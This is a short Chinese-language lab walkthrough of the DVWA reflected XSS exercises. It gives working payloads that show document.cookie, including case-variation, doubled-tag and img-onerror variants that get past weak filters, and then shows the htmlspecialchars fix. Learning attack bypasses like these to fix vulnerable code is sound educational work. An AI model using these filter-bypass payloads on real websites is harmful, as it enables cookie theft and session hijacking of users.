xss reflected
0x01 low
我寻思也没有防护呀
<script>alert(document.cookie)</script>
弹
0x02 medium
str_replace区分大小写，使用大小写可绕过
<Script>alert(document.cookie)</script>
str_replace只过滤出现的第一次，可用双写绕过
<scr<script>ipt>alert(document.cookie)</script>
0x03 high
正则过滤
换个标签绕过，比如img
<img src=1 onerror=alert(document.cookie)>
0x04 impossible
使用Php内置函数htmlspecialchars过滤输入内容
htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签，所以我们插入的语句并不会被执行
0x05 Repair 修复漏洞
$message = htmlspecialchars($message); $name = htmlspecialchars($name);
htmlspecialchars非常好用，将尖括号转化为html实体，浏览器前端代码不执行
或者用正则把尖括号过滤也能成，尖括号在js或html中被广泛用到
![[dvwa] xss stored](https://ucc.alicdn.com/pic/developer-ecology/ebi4wp2ql3fxg_f27886e65af942a6a2e0f08964376c8b.png?x-oss-process=image/resize,h_160,m_lfit)
![[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集](https://ucc.alicdn.com/pic/developer-ecology/c2fo6hak5a22e_624d900a921841e38ecfe336a3a41eaf.png?x-oss-process=image/resize,h_160,m_lfit)